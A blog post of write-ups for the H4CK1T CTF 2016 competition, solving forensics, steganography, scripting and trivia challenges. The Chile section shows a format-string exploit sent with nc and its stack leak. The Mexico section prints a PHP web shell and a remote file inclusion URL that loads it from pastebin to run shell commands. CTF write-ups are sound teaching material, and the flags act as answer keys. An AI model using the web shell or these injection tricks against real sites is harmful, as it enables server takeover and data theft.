H4CK1T CTF 2016

Michael Zhang
Michael’s Blog
Published in
6 min readOct 2, 2016

Over the past week, I again worked with Gophers in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points. Here are some of my writeups.

Algeria (250)

In this task we are given an encrypted image as well as the encryption script. The script looks like this (condensed):

x = random.randint(1,255)
y = random.randint(1,255)
img_pix.putpixel((0,0),(len(FLAG),x,y))for l in FLAG:
x1 = random.randint(1,255)
y1 = random.randint(1,255)
img_pix.putpixel((x,y),(ord(l),x1,y1))
x = x1
y = y1
img_pix.save(‘encrypted.png’)

It seems that each character of the flag is placed at random points in the encrypted image. Fortunately, each character also comes with the coordinates of the next character. To solve the challenge, we just write a reversing script.

FLAG = “”
img = Image.open(“encrypted.png”)
img_pix = img.convert(“RGB”)
FLAG_LEN, x, y = img_pix.getpixel((0, 0))
for i in range(FLAG_LEN — 1):
c, x, y = img_pix.getpixel((x, y))
FLAG += chr(c)
print FLAG

The flag is h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}.

Argentina (100)

I’m guessing the point of this problem was for you to go through the network data and look for the right packets, but I just used strings.

$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t
PASS h4ck1t{i_G07_ur_f1l3s}

The flag is h4ck1t{i_G07_ur_f1l3s}.

Brazil (100)

In this challenge, we get a ZIP full of random files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.

There are many tools out there that can help open this type of file. I used Thumbs Viewer. Either way, the flag is the name of one of the thumbnails, h4ck1t{75943a3ca2223076e997fe30e17597d4}.

Canada (300)

I don’t think I did this the intended way, but we were given a binary that apparently produces an output file. But I just did

$ strings parse | grep h4ck1t
to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcan’t scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime

The flag is h4ck1t{T0mmy_g0t_h1s_Gun}.

China (150)

This one was rather annoying. When you first open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended to the end of it.

At that point, I just binwalk’d the PNG and extracted the ZIP, leading me to flag.txt, containing the flag, h4ck1t{rtf_d0cs_4r3_awesome}.

Chile (100)

We’re told to connect to 91.231.84.36:9001. When we connect, we are greeted with a prompt: wanna see?

It seems that the program will print back whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls printf(input) where input is the user input, then putting format symbols into our input will cause the program to start reading off the stack.

There was probably a better way to do it, but essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!

failedxyz@backtick:~$ python -c ‘print “%p-” * 50’ | nc 91.231.84.36 9001
wanna see?
ok, so…
0x7f0778198483–0x7f07781999e0–0x7f0777ec4710–0x7f07781999e0-(nil)-0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d0–0x7f0778198400–0x7f0777e54987–0x7f0778198400-(nil)-0x7f07783c7740–0x7f0777e517d9–0x7f0778198400–0x7f0777e49693-(nil)-0xea7c2294f9fed000–0x7ffe058d71d0–0x4007c1–0x647b74316b633468–0x355f7530595f4431–0x3f374168375f6545–0x7d373f-0x4007f0–0xea7c2294f9fed000–0x7ffe058d72b0-(nil)-(nil)-

If you get rid of the (nil)s and reverse the string (remember endianness), then you should eventually arrive at the flag, which is h4ck1t{d1D_Y0u_5Ee_7hA7??7}.

Germany (200)

In this problem, we are given a dump of some Corp User’s home folder. Most of the documents are useless, but what we are looking for is in the AppData folder. More specifically, the transmission of information happens over Skype, so I looked in AppData\Roaming\Skype\live#3aames.aldrich.

main.db kinda stuck out, so I opened that first. It was an SQLite database of a bunch of different Skype data. I ended up finding the flag in the Contacts table, in the row containing the user zog black, under province and city columns apparently. The flag was h4ck1t{87e2bc9573392d5f4458393375328cf2}.

Mexico (150)

If you click around the navigation bar of the website, you’ll notice that the pages are loaded by index.php?page=example. It probably includes pages through some naive include function without any sanitation, although it appends .php to the end of the filename.

To bypass this, we just stick a %00 null character to the end of our URL. Then PHP stops reading when it hits that and won’t append .php after the file. But what file can we include to find the flag?

It occurred to me that if we could include any file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I included looks like this:

if (isset($_GET[‘cmd’]))
echo system($_GET[‘cmd’]);
?>

Stick that in a pastebin or something, and then include it in your URL like this:

http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00

Now you can execute shell commands from the URL. Doing an ls on the current directory reveals a file called sup3r_$3cr3t_f1le.php. If you cat sup3r* then you should be able to get the flag: h4ck1t{g00d_rfi_its_y0ur_fl@g}.

Mongolia (100)

In this problem we are asked to connect to ctf.com.ua:9988 and solve math problems. We told C = A ^ B and then given C, we are asked to find A and B. Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a good idea.

The algorithm we used was to prime-factorize C, and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like 2 appeared more than once, we multiply it twice into A, rather than making B twice as large.

We used the Sieve of Atkin to generate a list of primes up to 10,000,000 (although we probably didn’t need that many), and stored it into primes.txt. The final program looks like this:

from collections import Counter
import socket
s = socket.socket()
s.connect((“ctf.com.ua”, 9988))
primes = map(int, open(“primes.txt”).read().split(“ “))
i = 0
while True:
o = s.recv(8192)
print o
q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)
r = int(q[-1])
print r
done = False
factors = []
for prime in primes:
while r % prime == 0:
factors.append(prime)
r //= prime
c = Counter(factors)
f = zip(*c.items())
B = min(c.values())
print f, c
A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)
if B == 1: A = r
print A, B
s.send(“%s %s\n” % (A, B))

The flag is h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}.

Oman (50)

I was so excited to do this challenge! Once I unzipped the file and saw the folders and files, I knew it was a Minecraft world save!

I kind of saw it coming, but once I opened the world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I assumed it meant that.

Thing is if you play, and step on the pressure plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I just selected the bedrock region and deleted it, revealing the flag below: h4ck1t{m1n3craft_h4c3r}.

Paraguay (250)

Honestly, this one was such a pain in the ass. Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python library called pyunpack figures that out for you, by checking the magic number of the file. The final script looks like this:

from pyunpack import *
import shutil
for i in range(100, 0, -1):
Archive(“%d” % i).extractall(“.”)
shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))

The flag is h4ck1t{0W_MY_G0D_Y0U_M4D3_1T} .

United States (50)

This one was a freebie. Join their Telegram channel and you get a free flag: h4ck1t{fr33_4nd_$ecur3!}.

Trivia

There were a lot of trivia questions on the board! They weren’t worth much, but still pretty fun. Here are the solutions:

Cote d’Ivoire: h4ck1t{arpanet}
Bolivia: h4ck1t{Tim}
Colombia: h4ck1t{heartbleed}
Costa Rica: h4ck1t{7}
Ecuador: h4ck1t{archie}
Finland: h4ck1t{mitnick}
Greece: h4ck1t{30}
Honduras: h4ck1t{Binary}
Italy: h4ck1t{2015}
Kazakhstan: h4ck1t{polymorphic}
Kyrgyzstan: h4ck1t{smtp}
Madagascar: h4ck1t{caesar}
Nicaragua: h4ck1t{B@S3_S0_B@S3_}
Nigeria: h4ck1t{128}
Peru: h4ck1t{Decimal}
Phillipines: h4ck1t{creeper}
Spain: h4ck1t{social engineering}
Venezuela: h4ck1t{admin123}

--

--